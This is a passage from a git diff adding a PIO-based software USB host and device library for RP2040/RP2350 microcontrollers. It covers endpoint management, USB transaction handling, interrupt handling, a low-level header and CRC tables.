sof_packet_encoded); +} + +static bool __no_inline_not_in_flash_func(sof_timer)(repeating_timer_t *_rt) { + (void)_rt; + + pio_usb_host_frame(); + + return true; +} + +//--------------------------------------------------------------------+ +// Host Controller functions +//--------------------------------------------------------------------+ + +uint32_t pio_usb_host_get_frame_number(void) { + return sof_count; +} + +void pio_usb_host_port_reset_start(uint8_t root_idx) { + root_port_t *root = PIO_USB_ROOT_PORT(root_idx); + + // bus is not operating while in reset + root->suspended = true; + + // Force line state to SE0 + gpio_set_outover(root->pin_dp, GPIO_OVERRIDE_LOW); + gpio_set_outover(root->pin_dm, GPIO_OVERRIDE_LOW); + gpio_set_oeover(root->pin_dp, GPIO_OVERRIDE_HIGH); + gpio_set_oeover(root->pin_dm, GPIO_OVERRIDE_HIGH); +} + +void pio_usb_host_port_reset_end(uint8_t root_idx) { + root_port_t *root = PIO_USB_ROOT_PORT(root_idx); + + // line state to input + gpio_set_oeover(root->pin_dp, GPIO_OVERRIDE_NORMAL); + gpio_set_oeover(root->pin_dm, GPIO_OVERRIDE_NORMAL); + gpio_set_outover(root->pin_dp, GPIO_OVERRIDE_NORMAL); + gpio_set_outover(root->pin_dm, GPIO_OVERRIDE_NORMAL); + busy_wait_us(100); // TODO check if this is neccessary + + // bus back to operating + root->suspended = false; +} + +void pio_usb_host_close_device(uint8_t root_idx, uint8_t device_address) { + for (int ep_pool_idx = 0; ep_pool_idx < PIO_USB_EP_POOL_CNT; ep_pool_idx++) { + endpoint_t *ep = PIO_USB_ENDPOINT(ep_pool_idx); + if ((ep->root_idx == root_idx) && (ep->dev_addr == device_address) && + ep->size) { + ep->size = 0; + ep->has_transfer = false; + } + } +} + +static inline __force_inline endpoint_t * _find_ep(uint8_t root_idx, + uint8_t device_address, uint8_t ep_address) { + for (int ep_pool_idx = 0; ep_pool_idx < PIO_USB_EP_POOL_CNT; ep_pool_idx++) { + endpoint_t *ep = PIO_USB_ENDPOINT(ep_pool_idx); + // note 0x00 and 0x80 are matched as control endpoint of opposite direction + if ((ep->root_idx == root_idx) && (ep->dev_addr == device_address) && + ep->size && + ((ep->ep_num == ep_address) || + (((ep_address & 0x7f) == 0) && ((ep->ep_num & 0x7f) == 0)))) { + return ep; + } + } + + return NULL; +} + +bool pio_usb_host_endpoint_open(uint8_t root_idx, uint8_t device_address, + uint8_t const *desc_endpoint, bool need_pre) { + const endpoint_descriptor_t *d = (const endpoint_descriptor_t *)desc_endpoint; + if (NULL != _find_ep(root_idx, device_address, d->epaddr)) { + return true; // already opened + } + for (int ep_pool_idx = 0; ep_pool_idx < PIO_USB_EP_POOL_CNT; ep_pool_idx++) { + endpoint_t *ep = PIO_USB_ENDPOINT(ep_pool_idx); + // ep size is used as valid indicator + if (ep->size == 0) { + pio_usb_ll_configure_endpoint(ep, desc_endpoint); + ep->root_idx = root_idx; + ep->dev_addr = device_address; + ep->need_pre = need_pre; + ep->is_tx = (d->epaddr & 0x80) ? false : true; // host endpoint out is tx + return true; + } + } + + return false; +} + +bool pio_usb_host_endpoint_close(uint8_t root_idx, uint8_t device_address, + uint8_t ep_address) { + endpoint_t *ep = _find_ep(root_idx, device_address, ep_address); + if (!ep) { + return false; // endpoint not opened + } + + ep->size = 0; // mark as closed + return true; +} + +bool pio_usb_host_send_setup(uint8_t root_idx, uint8_t device_address, + uint8_t const setup_packet[8]) { + endpoint_t *ep = _find_ep(root_idx, device_address, 0); + if (!ep) { + printf("cannot find ep 0x00\r\n"); + return false; + } + + ep->ep_num = 0; // setup is is OUT + ep->data_id = USB_PID_SETUP; + ep->is_tx = true; + + return pio_usb_ll_transfer_start(ep, (uint8_t *)setup_packet, 8); +} + +bool pio_usb_host_endpoint_transfer(uint8_t root_idx, uint8_t device_address, + uint8_t ep_address, uint8_t *buffer, + uint16_t buflen) { + endpoint_t *ep = _find_ep(root_idx, device_address, ep_address); + if (!ep) { + printf("no endpoint 0x%02X\r\n", ep_address); + return false; + } + + // Control endpoint, address may switch between 0x00 <-> 0x80 + // therefore we need to update ep_num and is_tx + if ((ep_address & 0x7f) == 0) { + ep->ep_num = ep_address; + ep->is_tx = ep_address == 0; + ep->data_id = 1; // data and status always start with DATA1 + } + + return pio_usb_ll_transfer_start(ep, buffer, buflen); +} + +bool pio_usb_host_endpoint_abort_transfer(uint8_t root_idx, uint8_t device_address, + uint8_t ep_address) { + endpoint_t *ep = _find_ep(root_idx, device_address, ep_address); + if (!ep) { + printf("no endpoint 0x%02X\r\n", ep_address); + return false; + } + + if (!ep->has_transfer) { + return false; // no transfer to abort + } + + // mark transfer as aborted + ep->transfer_aborted = true; + + // Race potential: SOF timer can be called before transfer_aborted is actually set + // and started the transfer. Wait 1 usb frame for transaction to complete. + // On the next SOF timer, transfer_aborted will be checked and skipped + while (ep->has_transfer && ep->transfer_started) { + busy_wait_ms(1); + } + + // check if transfer is still active (could be completed) + bool const still_active = ep->has_transfer; + if (still_active) { + ep->has_transfer = false; + } + ep->transfer_aborted = false; + + return still_active; // still active means transfer is successfully aborted +} + +//--------------------------------------------------------------------+ +// Transaction helper +//--------------------------------------------------------------------+ + +static int __no_inline_not_in_flash_func(usb_in_transaction)(pio_port_t *pp, + endpoint_t *ep) { + int res = 0; + uint8_t expect_pid = (ep->data_id == 1) ? USB_PID_DATA1 : USB_PID_DATA0; + + pio_usb_bus_prepare_receive(pp); + pio_usb_bus_send_token(pp, USB_PID_IN, ep->dev_addr, ep->ep_num); + pio_usb_bus_start_receive(pp); + + int receive_len = pio_usb_bus_receive_packet_and_handshake(pp, USB_PID_ACK); + uint8_t const receive_pid = pp->usb_rx_buffer[1]; + + if (receive_len >= 0) { + if (receive_pid == expect_pid) { + memcpy(ep->app_buf, &pp->usb_rx_buffer[2], receive_len); + pio_usb_ll_transfer_continue(ep, receive_len); + } else { + // DATA0/1 mismatched, 0 for re-try next frame + } + } else if (receive_pid == USB_PID_NAK) { + // NAK try again next frame + } else if (receive_pid == USB_PID_STALL) { + pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_STALLED_BITS); + } else { + res = -1; + if ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) { + res = -2; + } + + if (++ep->failed_count >= TRANSACTION_MAX_RETRY) { + pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_ERROR_BITS); // failed after 3 consecutive retries + } + } + + if (res == 0) { + ep->failed_count = 0; // reset failed count if we got a sound response + } + + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false); + pp->usb_rx_buffer[0] = 0; + pp->usb_rx_buffer[1] = 0; + + return res; +} + +static int __no_inline_not_in_flash_func(usb_out_transaction)(pio_port_t *pp, + endpoint_t *ep) { + int res = 0; + + uint16_t const xact_len = pio_usb_ll_get_transaction_len(ep); + + pio_usb_bus_prepare_receive(pp); + pio_usb_bus_send_token(pp, USB_PID_OUT, ep->dev_addr, ep->ep_num); + + pio_usb_bus_usb_transfer(pp, ep->buffer, ep->encoded_data_len); + pio_usb_bus_start_receive(pp); + + pio_usb_bus_wait_handshake(pp); + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false); + + uint8_t const receive_token = pp->usb_rx_buffer[1]; + + if (receive_token == USB_PID_ACK) { + pio_usb_ll_transfer_continue(ep, xact_len); + } else if (receive_token == USB_PID_NAK) { + // NAK try again next frame + } else if (receive_token == USB_PID_STALL) { + pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_STALLED_BITS); + } else { + res = -1; + if (++ep->failed_count >= TRANSACTION_MAX_RETRY) { + pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_ERROR_BITS); + } + } + + if (res == 0) { + ep->failed_count = 0;// reset failed count if we got a sound response + } + + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false); + pp->usb_rx_buffer[0] = 0; + pp->usb_rx_buffer[1] = 0; + + return res; +} + +static int __no_inline_not_in_flash_func(usb_setup_transaction)( + pio_port_t *pp, endpoint_t *ep) { + int res = 0; + + // Setup token + pio_usb_bus_prepare_receive(pp); + pio_usb_bus_send_token(pp, USB_PID_SETUP, ep->dev_addr, 0); + + // Data + ep->data_id = 0; // set to DATA0 + pio_usb_bus_usb_transfer(pp, ep->buffer, ep->encoded_data_len); + + // Handshake + pio_usb_bus_start_receive(pp); + const uint8_t handshake = pio_usb_bus_wait_handshake(pp); + pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false); + + if (handshake == USB_PID_ACK) { + ep->actual_len = 8; + pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_COMPLETE_BITS); + } else { + res = -1; + ep->data_id = USB_PID_SETUP; // retry setup + if (++ep->failed_count >= TRANSACTION_MAX_RETRY) { + pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_ERROR_BITS); + } + } + + if (res == 0) { + ep->failed_count = 0;// reset failed count if we got a sound response + } + + pp->usb_rx_buffer[1] = 0; // reset buffer + + return res; +} + + +static void __no_inline_not_in_flash_func(handle_endpoint_irq)( + root_port_t *root, uint32_t flag, volatile uint32_t *ep_reg) { + (void)root; + const uint32_t ep_all = *ep_reg; + + for (uint8_t ep_idx = 0; ep_idx < PIO_USB_EP_POOL_CNT; ep_idx++) { + if (ep_all & (1u << ep_idx)) { + endpoint_t *ep = PIO_USB_ENDPOINT(ep_idx); + usb_device_t *device = NULL; + + // find device this endpoint belongs to + for (int idx = 0; idx < PIO_USB_DEVICE_CNT; idx++) { + usb_device_t *dev = &pio_usb_device[idx]; + if (dev->connected && (ep->dev_addr == dev->address)) { + device = dev; + break; + } + } + + if (device) { + // control endpoint is either 0x00 or 0x80 + if ((ep->ep_num & 0x7f) == 0) { + control_pipe_t *pipe = &device->control_pipe; + + if (flag != PIO_USB_INTS_ENDPOINT_COMPLETE_BITS) { + pipe->stage = STAGE_SETUP; + pipe->operation = CONTROL_ERROR; + } else { + ep->data_id = 1; // both data and status have DATA1 + if (pipe->stage == STAGE_SETUP) { + if (pipe->operation == CONTROL_IN) { + pipe->stage = STAGE_IN; + ep->ep_num = 0x80; + ep->is_tx = false; + pio_usb_ll_transfer_start(ep, + (uint8_t *)(uintptr_t)pipe->rx_buffer, + pipe->request_length); + } else if (pipe->operation == CONTROL_OUT) { + if (pipe->out_data_packet.tx_address != NULL) { + pipe->stage = STAGE_OUT; + ep->ep_num = 0x00; + ep->is_tx = true; + pio_usb_ll_transfer_start(ep, + pipe->out_data_packet.tx_address, + pipe->out_data_packet.tx_length); + } else { + pipe->stage = STAGE_STATUS; + ep->ep_num = 0x80; + ep->is_tx = false; + pio_usb_ll_transfer_start(ep, NULL, 0); + } + } + } else if (pipe->stage == STAGE_IN) { + pipe->stage = STAGE_STATUS; + ep->ep_num = 0x00; + ep->is_tx = true; + pio_usb_ll_transfer_start(ep, NULL, 0); + } else if (pipe->stage == STAGE_OUT) { + pipe->stage = STAGE_STATUS; + ep->ep_num = 0x80; + ep->is_tx = false; + pio_usb_ll_transfer_start(ep, NULL, 0); + } else if (pipe->stage == STAGE_STATUS) { + pipe->stage = STAGE_SETUP; + pipe->operation = CONTROL_COMPLETE; + } + } + } else if (device->device_class == CLASS_HUB && (ep->ep_num & EP_IN)) { + // hub interrupt endpoint + device->event = EVENT_HUB_PORT_CHANGE; + } + } + } + } + + // clear all + (*ep_reg) &= ~ep_all; +} + +// IRQ Handler +static void __no_inline_not_in_flash_func(__pio_usb_host_irq_handler)(uint8_t root_id) { + root_port_t *root = PIO_USB_ROOT_PORT(root_id); + uint32_t const ints = root->ints; + + if (ints & PIO_USB_INTS_CONNECT_BITS) { + root->event = EVENT_CONNECT; + } + + if (ints & PIO_USB_INTS_DISCONNECT_BITS) { + root->event = EVENT_DISCONNECT; + } + + if (ints & PIO_USB_INTS_ENDPOINT_COMPLETE_BITS) { + handle_endpoint_irq(root, PIO_USB_INTS_ENDPOINT_COMPLETE_BITS, + &root->ep_complete); + } + + if (ints & PIO_USB_INTS_ENDPOINT_STALLED_BITS) { + handle_endpoint_irq(root, PIO_USB_INTS_ENDPOINT_STALLED_BITS, + &root->ep_stalled); + } + + if (ints & PIO_USB_INTS_ENDPOINT_ERROR_BITS) { + handle_endpoint_irq(root, PIO_USB_INTS_ENDPOINT_ERROR_BITS, + &root->ep_error); + } + + // clear all + root->ints &= ~ints; +} + +// weak alias to __pio_usb_host_irq_handler +void pio_usb_host_irq_handler(uint8_t root_id) __attribute__ ((weak, alias("__pio_usb_host_irq_handler"))); + +#pragma GCC pop_options diff --git a/pio_usb/src/pio_usb_ll.h b/pio_usb/src/pio_usb_ll.h new file mode 100644 index 0000000..c649def --- /dev/null +++ b/pio_usb/src/pio_usb_ll.h @@ -0,0 +1,242 @@ +/** + * Copyright (c) 2021 sekigon-gonnoc + * Ha Thach (thach@tinyusb.org) + */ + +#pragma once + +#include "hardware/pio.h" +#include "hardware/regs/sysinfo.h" +#include "pio_usb_configuration.h" +#include "usb_definitions.h" +#include + +#include "usb_tx.pio.h" +#include "usb_rx.pio.h" + +enum { + PIO_USB_INTS_CONNECT_POS = 0, + PIO_USB_INTS_DISCONNECT_POS, + PIO_USB_INTS_RESET_END_POS, + PIO_USB_INTS_SETUP_REQ_POS, + PIO_USB_INTS_SOF_POS, + + PIO_USB_INTS_ENDPOINT_COMPLETE_POS, + PIO_USB_INTS_ENDPOINT_ERROR_POS, + PIO_USB_INTS_ENDPOINT_STALLED_POS, + PIO_USB_INTS_ENDPOINT_CONTINUE_POS, +}; + +#define PIO_USB_INTS_CONNECT_BITS (1u << PIO_USB_INTS_CONNECT_POS) +#define PIO_USB_INTS_DISCONNECT_BITS (1u << PIO_USB_INTS_DISCONNECT_POS) +#define PIO_USB_INTS_RESET_END_BITS (1u << PIO_USB_INTS_RESET_END_POS) +#define PIO_USB_INTS_SETUP_REQ_BITS (1u << PIO_USB_INTS_SETUP_REQ_POS) + +#define PIO_USB_INTS_SOF_BITS (1u << PIO_USB_INTS_SOF_POS) + +#define PIO_USB_INTS_ENDPOINT_COMPLETE_BITS \ + (1u << PIO_USB_INTS_ENDPOINT_COMPLETE_POS) +#define PIO_USB_INTS_ENDPOINT_ERROR_BITS (1u << PIO_USB_INTS_ENDPOINT_ERROR_POS) +#define PIO_USB_INTS_ENDPOINT_STALLED_BITS \ + (1u << PIO_USB_INTS_ENDPOINT_STALLED_POS) +#define PIO_USB_INTS_ENDPOINT_CONTINUE_BITS \ + (1u << PIO_USB_INTS_ENDPOINT_CONTINUE_POS) + +typedef enum { + PORT_PIN_SE0 = 0b00, + PORT_PIN_FS_IDLE = 0b01, + PORT_PIN_LS_IDLE = 0b10, + PORT_PIN_SE1 = 0b11, +} port_pin_status_t; + +typedef struct { + uint16_t div_int; + uint8_t div_frac; +} pio_clk_div_t; + +typedef struct { + PIO pio_usb_tx; // could not set to volatile + uint sm_tx; + uint offset_tx; + uint tx_ch; + + PIO pio_usb_rx; // could not set to volatile + uint sm_rx; + uint offset_rx; + uint sm_eop; + uint offset_eop; + uint tx_reset_instr; + uint tx_start_instr; + uint rx_reset_instr; + uint rx_reset_instr2; + uint device_rx_irq_num; + + int8_t debug_pin_rx; + int8_t debug_pin_eop; + + const pio_program_t *fs_tx_program; + const pio_program_t *fs_tx_pre_program; + const pio_program_t *ls_tx_program; + + pio_clk_div_t clk_div_fs_tx; + pio_clk_div_t clk_div_fs_rx; + pio_clk_div_t clk_div_ls_tx; + pio_clk_div_t clk_div_ls_rx; + + bool need_pre; + bool low_speed; + + uint8_t usb_rx_buffer[128]; +} pio_port_t; + +//--------------------------------------------------------------------+ +// +//--------------------------------------------------------------------+ + +enum { + PIO_USB_MODE_INVALID = 0, + PIO_USB_MODE_DEVICE, + PIO_USB_MODE_HOST, +}; + +extern usb_device_t pio_usb_device[PIO_USB_DEVICE_CNT]; + +extern root_port_t pio_usb_root_port[PIO_USB_ROOT_PORT_CNT]; +#define PIO_USB_ROOT_PORT(_idx) (pio_usb_root_port + (_idx)) + +extern endpoint_t pio_usb_ep_pool[PIO_USB_EP_POOL_CNT]; +#define PIO_USB_ENDPOINT(_idx) (pio_usb_ep_pool + (_idx)) + +extern pio_port_t pio_port[1]; +#define PIO_USB_PIO_PORT(_idx) (pio_port + (_idx)) + +//--------------------------------------------------------------------+ +// Bus functions +//--------------------------------------------------------------------+ + +#define IRQ_TX_EOP_MASK (1 << IRQ_TX_EOP) +#define IRQ_TX_ALL_MASK (IRQ_TX_EOP_MASK) +#define IRQ_RX_COMP_MASK (1 << IRQ_RX_EOP) +#define IRQ_RX_START_MASK (1 << IRQ_RX_START) +#define IRQ_RX_ALL_MASK \ + ((1 << IRQ_RX_EOP) | (1 << IRQ_RX_BS_ERR) | (1 << IRQ_RX_START) | \ + (1 << DECODER_TRIGGER)) + +#define SM_SET_CLKDIV(pio, sm, div) \ + pio_sm_set_clkdiv_int_frac(pio, sm, div.div_int, div.div_frac) +#define SM_SET_CLKDIV_MAXSPEED(pio, sm) \ + pio_sm_set_clkdiv_int_frac(pio, sm, 1, 0) + +void pio_usb_bus_init(pio_port_t *pp, const pio_usb_configuration_t *c, + root_port_t *root); + +void pio_usb_bus_prepare_receive(const pio_port_t *pp); +int pio_usb_bus_receive_packet_and_handshake(pio_port_t *pp, uint8_t handshake); +void pio_usb_bus_usb_transfer(pio_port_t *pp, uint8_t *data, + uint16_t len); + +uint8_t pio_usb_bus_wait_handshake(pio_port_t *pp); +void pio_usb_bus_send_token(pio_port_t *pp, uint8_t token, uint8_t addr, + uint8_t ep_num); + +static __always_inline port_pin_status_t +pio_usb_bus_get_line_state(root_port_t *root) { +#ifdef PICO_RP2350 + // RP2350-E9 Errata affect up to rev A2/B0 + // workaround: disable input enable (to drain leaked current), then enable it immediately before reading + // Avoid rp2350_chip_version()/gpio_set_input_enabled() to make sure this is in SRAM + uint32_t const chip_id = *((io_ro_32*)(SYSINFO_BASE + SYSINFO_CHIP_ID_OFFSET)); + uint32_t const chip_version = (chip_id & SYSINFO_CHIP_ID_REVISION_BITS) >> SYSINFO_CHIP_ID_REVISION_LSB; + if (chip_version <= 2) { + hw_clear_bits(&pads_bank0_hw->io[root->pin_dp], PADS_BANK0_GPIO0_IE_BITS); + hw_clear_bits(&pads_bank0_hw->io[root->pin_dm], PADS_BANK0_GPIO0_IE_BITS); + + // short delay to drain leaked current, required when overclocked CPU, tested with 264Mhz + __asm volatile("nop; nop; nop; nop; nop; nop; nop; nop;"); + + hw_set_bits(&pads_bank0_hw->io[root->pin_dp], PADS_BANK0_GPIO0_IE_BITS); + hw_set_bits(&pads_bank0_hw->io[root->pin_dm], PADS_BANK0_GPIO0_IE_BITS); + } +#endif + + uint8_t dp = gpio_get(root->pin_dp) ? 0 : 1; + uint8_t dm = gpio_get(root->pin_dm) ? 0 : 1; + + return (dm << 1) | dp; +} + +static __always_inline void pio_usb_bus_start_receive(const pio_port_t *pp) { + pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK; + while ((pp->pio_usb_rx->irq & IRQ_RX_ALL_MASK) != 0) { + continue; + } +} + +//--------------------------------------------------------------------+ +// Low Level functions +//--------------------------------------------------------------------+ + +void pio_usb_ll_configure_endpoint(endpoint_t *ep, + uint8_t const *desc_endpoint); +bool pio_usb_ll_transfer_start(endpoint_t *ep, uint8_t *buffer, + uint16_t buflen); +bool pio_usb_ll_transfer_continue(endpoint_t *ep, uint16_t xferred_bytes); +void pio_usb_ll_transfer_complete(endpoint_t *ep, uint32_t flag); + +static inline __force_inline uint16_t +pio_usb_ll_get_transaction_len(endpoint_t *ep) { + uint16_t remaining = ep->total_len - ep->actual_len; + return (remaining < ep->size) ? remaining : ep->size; +} + +enum { + PIO_USB_TX_ENCODED_DATA_SE0 = 0, + PIO_USB_TX_ENCODED_DATA_K = 1, + PIO_USB_TX_ENCODED_DATA_COMP = 2, + PIO_USB_TX_ENCODED_DATA_J = 3, +}; +uint8_t pio_usb_ll_encode_tx_data(uint8_t const *buffer, uint8_t buffer_len, + uint8_t *encoded_data); + +//-------------------------------------------------------------------- +// Host Controller functions +//-------------------------------------------------------------------- + +// Host IRQ Handler +void pio_usb_host_irq_handler(uint8_t root_idx); + +void pio_usb_host_port_reset_start(uint8_t root_idx); +void pio_usb_host_port_reset_end(uint8_t root_idx); + +void pio_usb_host_close_device(uint8_t root_idx, uint8_t device_address); + +bool pio_usb_host_endpoint_open(uint8_t root_idx, uint8_t device_address, + uint8_t const *desc_endpoint, bool need_pre); +bool pio_usb_host_endpoint_close(uint8_t root_idx, uint8_t device_address, + uint8_t ep_address); +bool pio_usb_host_send_setup(uint8_t root_idx, uint8_t device_address, + uint8_t const setup_packet[8]); +bool pio_usb_host_endpoint_transfer(uint8_t root_idx, uint8_t device_address, + uint8_t ep_address, uint8_t *buffer, + uint16_t buflen); +bool pio_usb_host_endpoint_abort_transfer(uint8_t root_idx, uint8_t device_address, + uint8_t ep_address); + +//-------------------------------------------------------------------- +// Device Controller functions +//-------------------------------------------------------------------- + +// Device IRQ Handler +void pio_usb_device_irq_handler(uint8_t root_idx); + +void pio_usb_device_set_address(uint8_t dev_addr); +bool pio_usb_device_endpoint_open(uint8_t const *desc_endpoint); +bool pio_usb_device_transfer(uint8_t ep_address, uint8_t *buffer, + uint16_t buflen); + +static inline __force_inline endpoint_t * +pio_usb_device_get_endpoint_by_address(uint8_t ep_address) { + // index = 2*num + dir e.g out1, in1, out2, in2 + uint8_t const ep_idx = ((ep_address & 0x7f) << 1) | (ep_address >> 7); + return PIO_USB_ENDPOINT(ep_idx); +} diff --git a/pio_usb/src/sdk_compat.h b/pio_usb/src/sdk_compat.h new file mode 100644 index 0000000..cc610f4 --- /dev/null +++ b/pio_usb/src/sdk_compat.h @@ -0,0 +1,31 @@ +#pragma once + +#if PICO_SDK_VERSION_MAJOR < 2 +static __always_inline void pio_sm_set_jmp_pin(PIO pio, uint sm, uint jmp_pin) { + pio->sm[sm].execctrl = + (pio->sm[sm].execctrl & ~PIO_SM0_EXECCTRL_JMP_PIN_BITS) | + (jmp_pin << PIO_SM0_EXECCTRL_JMP_PIN_LSB); +} + +static_assert(PIO1_BASE - PIO0_BASE == (1u << 20), "hardware layout mismatch"); +#define PIO_INSTANCE(instance) ((pio_hw_t *)(PIO0_BASE + (instance) * (1u << 20))) +static __always_inline PIO pio_get_instance(uint instance) { + return PIO_INSTANCE(instance); +} + +#define PIO_NUM(pio) (((uintptr_t)(pio) - PIO0_BASE) >> 20) +#define NUM_PIO_IRQS (2u) +#define PIO_IRQ_NUM(pio, irqn) (PIO0_IRQ_0 + NUM_PIO_IRQS * PIO_NUM(pio) + (irqn)) + +#endif + +#if PICO_SDK_VERSION_MAJOR < 2 || (PICO_SDK_VERSION_MAJOR == 2 && PICO_SDK_VERSION_MINOR < 1) +static void pio_sm_set_pins_with_mask64(PIO pio, uint sm, uint64_t pin_values, uint64_t pin_mask) { + pio_sm_set_pins_with_mask(pio, sm, (uint32_t) pin_values, (uint32_t) pin_mask); +} + +static void pio_sm_set_pindirs_with_mask64(PIO pio, uint sm, uint64_t pin_values, uint64_t pin_mask) { + pio_sm_set_pindirs_with_mask(pio, sm, (uint32_t) pin_values, (uint32_t) pin_mask); +} +#endif + diff --git a/pio_usb/src/usb_crc.c b/pio_usb/src/usb_crc.c new file mode 100644 index 0000000..48c3886 --- /dev/null +++ b/pio_usb/src/usb_crc.c @@ -0,0 +1,63 @@ + +#include "usb_crc.h" + +const uint8_t __not_in_flash("crc5_tbl") crc5_tbl[32] = { + 0x00, 0x0b, 0x16, 0x1d, 0x05, 0x0e, 0x13, 0x18, 0x0a, 0x01, + 0x1c, 0x17, 0x0f, 0x04, 0x19, 0x12, 0x14, 0x1f, 0x02, 0x09, + 0x11, 0x1a, 0x07, 0x0c, 0x1e, 0x15, 0x08, 0x03, 0x1b, 0x10, + 0x0d, 0x06, +}; +uint8_t __not_in_flash_func(calc_usb_crc5)(uint16_t data) { + data = data ^ 0x1f; + + const uint8_t lsb = (data >> 1) & 0x1f; + const uint8_t msb = (data >> 6) & 0x1f; + + uint8_t crc = (data & 1) ? 0x14 : 0x00; + crc = crc5_tbl[(lsb ^ crc)]; + crc = crc5_tbl[(msb ^ crc)]; + + return crc ^ 0x1f; +} + +// Place to RAM +const uint16_t __not_in_flash("crc_tbl") crc16_tbl[256] = { + 0x0000, 0xc0c1, 0xc181, 0x0140, 0xc301, 0x03c0, 0x0280, 0xc241, 0xc601, + 0x06c0, 0x0780, 0xc741, 0x0500, 0xc5c1, 0xc481, 0x0440, 0xcc01, 0x0cc0, + 0x0d80, 0xcd41, 0x0f00, 0xcfc1, 0xce81, 0x0e40, 0x0a00, 0xcac1, 0xcb81, + 0x0b40, 0xc901, 0x09c0, 0x0880, 0xc841, 0xd801, 0x18c0, 0x1980, 0xd941, + 0x1b00, 0xdbc1, 0xda81, 0x1a40, 0x1e00, 0xdec1, 0xdf81, 0x1f40, 0xdd01, + 0x1dc0, 0x1c80, 0xdc41, 0x1400, 0xd4c1, 0xd581, 0x1540, 0xd701, 0x17c0, + 0x1680, 0xd641, 0xd201, 0x12c0, 0x1380, 0xd341, 0x1100, 0xd1c1, 0xd081, + 0x1040, 0xf001, 0x30c0, 0x3180, 0xf141, 0x3300, 0xf3c1, 0xf281, 0x3240, + 0x3600, 0xf6c1, 0xf781, 0x3740, 0xf501, 0x35c0, 0x3480, 0xf441, 0x3c00, + 0xfcc1, 0xfd81, 0x3d40, 0xff01, 0x3fc0, 0x3e80, 0xfe41, 0xfa01, 0x3ac0, + 0x3b80, 0xfb41, 0x3900, 0xf9c1, 0xf881, 0x3840, 0x2800, 0xe8c1, 0xe981, + 0x2940, 0xeb01, 0x2bc0, 0x2a80, 0xea41, 0xee01, 0x2ec0, 0x2f80, 0xef41, + 0x2d00, 0xedc1, 0xec81, 0x2c40, 0xe401, 0x24c0, 0x2580, 0xe541, 0x2700, + 0xe7c1, 0xe681, 0x2640, 0x2200, 0xe2c1, 0xe381, 0x2340, 0xe101, 0x21c0, + 0x2080, 0xe041, 0xa001, 0x60c0, 0x6180, 0xa141, 0x6300, 0xa3c1, 0xa281, + 0x6240, 0x6600, 0xa6c1, 0xa781, 0x6740, 0xa501, 0x65c0, 0x6480, 0xa441, + 0x6c00, 0xacc1, 0xad81, 0x6d40, 0xaf01, 0x6fc0, 0x6e80, 0xae41, 0xaa01, + 0x6ac0, 0x6b80, 0xab41, 0x6900, 0xa9c1, 0xa881, 0x6840, 0x7800, 0xb8c1, + 0xb981, 0x7940, 0xbb01, 0x7bc0, 0x7a80, 0xba41, 0xbe01, 0x7ec0, 0x7f80, + 0xbf41, 0x7d00, 0xbdc1, 0xbc81, 0x7c40, 0xb401, 0x74c0, 0x7580, 0xb541, + 0x7700, 0xb7c1, 0xb681, 0x7640, 0x7200, 0xb2c1, 0xb381, 0x7340, 0xb101, + 0x71c0, 0x7080, 0xb041, 0x5000, 0x90c1, 0x9181, 0x5140, 0x9301, 0x53c0, + 0x5280, 0x9241, 0x9601, 0x56c0, 0x5780, 0x9741, 0x5500, 0x95c1, 0x9481, + 0x5440, 0x9c01, 0x5cc0, 0x5d80, 0x9d41, 0x5f00, 0x9fc1, 0x9e81, 0x5e40, + 0x5a00, 0x9ac1, 0x9b81, 0x5b40, 0x9901, 0x59c0, 0x5880, 0x9841, 0x8801, + 0x48c0, 0x4980, 0x8941, 0x4b00, 0x8bc1, 0x8a81, 0x4a40, 0x4e00, 0x8ec1, + 0x8f81, 0x4f40, 0x8d01, 0x4dc0, 0x4c80, 0x8c41, 0x4400, 0x84c1, 0x8581, + 0x4540, 0x8701, 0x47c0, 0x4680, 0x8641, 0x8201, 0x42c0, 0x4380, 0x8341, + 0x4100, 0x81c1, 0x8081, 0x4040}; + +uint16_t __not_in_flash_func(calc_usb_crc16)(const uint8_t *data, uint16_t len) { + uint16_t crc = 0xffff; + + for (int idx = 0; idx < len; idx++) { + crc = (crc >> 8) ^ crc16_tbl[(crc ^ data[idx]) & 0xff]; + } + + return crc ^ 0xffff; +} \ No newline at end of file diff --git a/pio_usb/src/usb_crc.h b/pio_usb/src/usb_crc.h new file mode 100644 index 0000000..c7f5d03 --- /dev/null +++ b/pio_usb/src/usb_crc.h @@ -0,0 +1,22 @@ +#pragma once + +#include +#include "pico/stdlib.h" + +// Calc CRC5-USB of 11bit data +uint8_t calc_usb_crc5(uint16_t data); +// Calc CRC16-USB of array +uint16_t calc_usb_crc16(const uint8_t *data, uint16_t len); + +extern const uint16_t crc16_tbl[256]; +static inline uint16_t __time_critical_func(update_usb_crc16)(uint16_t crc, uint8_t data) { + crc = (crc >> 8) ^ crc16_tbl[(crc ^ data) & 0xff]; + return crc; +} + +#ifndef PICO_DEFAULT_TIMER_INSTANCE // not defined in sdk v1 +#define PICO_DEFAULT_TIMER_INSTANCE() timer_hw +#endif + +// time_us_32() not force inline and may be in flash, implement timestamp ourselves +#define get_time_us_32() (PICO_DEFAULT_TIMER_INSTANCE()->timerawl) diff --git a/pio_usb/src/usb_definitions.h b/pio_usb/src/usb_definitions.h new file mode 100644 index 0000000..6733264 --- /dev/null +++ b/pio_usb/src/usb_definitions.h @@ -0,0 +1,348 @@ + +#pragma once + +#include + +#include "pio_usb_configuration.h" + +typedef enum { + CONTROL_NONE, + CONTROL_IN, + CONTROL_OUT, + CONTROL_COMPLETE, + CONTROL_ERROR, +} control_transfer_operation_t; + +typedef enum { + EP_IN = 0x80, + EP_OUT = 0x00, +} ep_type_t; + +typedef enum { + STAGE_SETUP, + STAGE_DATA, + STAGE_IN, + STAGE_OUT, + STAGE_STATUS, + STAGE_COMPLETE, + STAGE_ERROR +} setup_transfer_stage_t; + +typedef enum { + STAGE_IDLE, + STAGE_DEVICE, + 